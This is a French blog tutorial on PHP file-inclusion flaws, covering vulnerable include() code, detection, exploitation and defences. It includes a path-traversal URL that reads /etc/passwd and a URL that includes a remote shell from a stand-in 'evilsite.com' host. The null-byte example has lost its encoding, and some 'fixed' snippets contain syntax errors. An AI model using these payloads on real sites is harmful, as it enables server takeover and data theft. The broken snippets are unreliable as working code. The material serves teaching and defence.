Don't Learn to Hack but Hack to Learn ***** Apprendre l'attaque pour mieux se défendre

dimanche 5 août 2012

Faille Include

La faille Include :

1. Définition:

   
La fonction include() est l’une des fonctions php les plus utilisées  , elle permet l’appel de pages depuis une autre , elle a pour objectif d'inclure  un fichier et d'interpréter son contenu sur le serveur.
 Supposons par exempleque toutes vos pages utilisent la page sql.php dans laquelle sont contenues vos informations SQL (paramètres de connexion à la base de données), il convient del’inclure dans chacune de vos pages plutôt que de retaper l’équivalent de sql.php dans toutes vospages qui nécessitent la connexion à la base de données.

Voici donc un exemple pour mieux éclaircir :
L’url du site : http://www.site.com/index.php?page=contact.php
La page index.php ici aurait la structure suivante :
<?
…………….
include("sql.php");
include($page);
……………
?>

2. Les type de la faille include :

2.1.DistantFI(Remote FI) :

Il faut savoir que PHP est capable d’inclure un fichier distant via le protocole http. L’inclusion de fichiers à distance et d'interpréter son contenu sur le serveurprovoque  une faille de sécurité.

2.2. Local FI :

 LFI (Locale Fille Include) Consiste à inclure un fichier local sur le serveur (existe sur le serveur)
  
Voici un exemple de code vulnérable:


<?php
if(isset($_GET['page']))
include($_GET['page']);
else
include('index.php');
?>

Ce bout de code regarde si la variable "page" est contenue dans l'URL, et si c'est le cas, elle inclut le fichier de même nom que le contenu de la variable. Sinon, elle inclut une page par défaut, par exemple index.php

La fonction est utilisée avec une variable non-contrôlé, l’utilisateur peut donc accéder à cette variable et indiquer un autre fichier dans l’URL via la barre d’adresse du navigateur.
 
3. Détecter une faille include :

Voyons un peu comment détecter la présence de cette faille.

Cela se fait de manière assez simple. Essayer de modifier tous les paramètres possibles de l'URL et d'observer le résultat. Le but est de faire tenter d'inclure une page qui n'existe pas. L'erreur résultante produira un warning PHP comme par exemple :

Warning: include(http://localhost/c99.txt) [function. include]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\wamp\www\rfi\rfi.php on line 4

Warning: include () [function.include]: Failed opening 'http://localhost/c99.txt' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\rfi\rfi.php on line 4

Par conséquent, si vous détectez un message de ce type sur un site, il y a de fortes chances qu'une faille include soit présente.

4. Techniques d'exploitation :


4.1. Exploitation Interne :


Reprenons notre Exemple : http://www.site.com/index.php?page=contact.phpIci la page index.php recevait comme paramètre la page contact.php pour ensuite l’inclure, donc si on remplace contact.php par un fichier sensible existant sur le serveur, index.php l’inclurai, ce qui nous permettrai de le lire.

Voici quelques exemples :
http://www.site.com/index.php?page=../../../../../../../etc/passwd
Ici le site afficherais le contenu du répertoire /etc/.

4. 2.Exploitation Externe :

Reprenons encore une fois notre Exemple : http://www.site.com/index.php?page=contact.php
Ce genre d’exploitation est le plus dangereux, ici c’est un script php hébergé sur notre propre serveur qu’on pourrait inclure a l’aide d’un appel extérieur de la sorte :
http://www.site.com/index.php?page=http://www.votreserveur.com/script-malfesant.php ce  « script-malfaisant » s’occupera du reste.

Nous supposons que nous disposons d'un shell (c99 par exemple) ou qu’on peut tester pour une simple page contenant :

<?
echo "Bonjour tout le monde" ;
 ?>

Maintenant, il ne nous reste plus qu'à placer notre page sur notre serveur préféré, et à l'inclure. Mais il ne faut pas oublier un détail crucial, en effet,  jamais notre Shell a pour extension « .PHP » et si nous le plaçons sur notre serveur qui exécute le PHP, puis que nous tentons de l'inclure sur le serveur vulnérable, elle sera exécutée non pas par le serveur vulnérable, mais par le serveur qui l'héberge (le notre). Il faut donc
Renommer notre shell avec une extension différente de PHP, par exemple « .Txt, JPG »etc.
Nous pouvons donc appeler la page vulnérable de cette manière :

http://site/script.php?page=http://evilsite.com/shell.txt

Le contenu de la page http://evilsite.com/shell.txt sera interprété.

5. Technique du l'octet nul (null byte):

Nous savons exploiter une include() de façon simple, imaginons quele code vulnérable est désormais celui-ci :


<?php
if(isset($_GET['page']))
include($_GET['page'] . ".php");
else
include('index.php');
?>


Ici, l'extension ".php" est automatiquement rajoutée à la variable. Cela veut dire que le« shell» va  avoir une extension .php. Nous devons donc, en théorie, nous trouver un serveur n'exécutant pas PHP pour placer notre shell, sinon cela ne marchera pas.

Pour contourner ce problème :on utilise la technique de l'octet nul (null byte). Cela consiste à rajouter l'extension voulue de notre shell (.txt par exemple) et à placer un zéro ASCII. Comme nous allons le passer dans l'URL, on doit l'encoder. Son encodage sera donc "".

Il faudra donc inclure :

http://site/script.php?page=http://evilsite.com/shell.txt

La fonction include va être traitée par une fonction programmée en langage C. Et en langage C, on désigne la fin d'une chaîne de caractères par un octet null . Pour le dernier exemple, on aura :

shell.txt.php

Mais comme indique la fin de la chaîne de caractère, tout le reste sera ignoré

Cette technique ne marche pas toujours, Cela dépend de la  configuration du serveur et les vérifications faites dans le script.

Remarque:

Il est aussi faisable d'inclure un fichier dans le serveur qui ne porte pas  l’extension .php contenant des informations sensibles. Par exemple le fichier /etc/passwd

On tente de deviner dans quel répertoire il se trouvent les fichiers q'on cherche, en testant successivement des paramètres comme "../../passwd" ou "../../../passwd" etc, tout dépend de l'emplacement de fichier qu'on veut.


cas pratique:
voire ce video

6.    Solutions Faille Inclusion :
 
6.1. Comment se protéger contre LFI et RFI ?


Vous pouvez constituer un tableau contenant toutes les pages dont l'inclusion est autorisée, et juste avant de faire une inclusion, vous vérifiez la présence de cette page dans le tableau, ou bien vous spécifiez directement les pages autorisés à inclure.

 Pour automatiser tout cela, il est préférable de faire une fonction "include_secure($page)" par exemple qui fait ce travail de manière systématique pour vous.

Voila un code  sécurisé :


< ?php
if ($rfi != "index.php" and $rfi != "contact.php") {
echo "error";
die;
}
include ("$rfi");
?>


6.2. Quelque protection non sécurisés :


A-Il suffit d’utiliser la fonction file_exists() qui renvoi true si le fichier existe sur notre serveur et false si il n’existe pas.

Exemple :


<?php
if(file_exists($_GET[‘page’]))
include($_GET[‘page’]) ;
else
echo“la page demandé n’existe pas!”   
 ?>


Cette solution corrige la faille remote file include (RFI)
Attention:
Ce script est vulnérable  aux LFI.


B-Interdireles slash:
Ce script corrige la faille LFI car il interdit le (../) dans la variable GET


< ?php
function sec($i)
{
$i = str_replace ("../","","$i");
include($i’]) ;
}
sec("$lfi");
 ?>


On peut détourner ça en utiliser le chemin directement sans utiliser../ (exemple:  C:\AppServ\www\image\shell.txt)

C- interdire HTTP
Ce script corrige la faille RFI car il interdit le http dans la variable GET


< ?php
function sec($i)
{
$i = str_replace ("http","","$i");

include($i’]) ;
}
sec("$lfi");
 ?>


Attention:
Ce script est vulnérable aux LFI.

Remarque :


1-Require() est équivalent à include() vous devez procéder de la même manière.

2- Si vous n'avez pas besoin d'inclure des fichiers à distant, la directive

allow_url_include dans lefichier de configuration php.ini doit être impérativement passée à Off



cas pratique:
voire ce video

Aucun commentaire:

Enregistrer un commentaire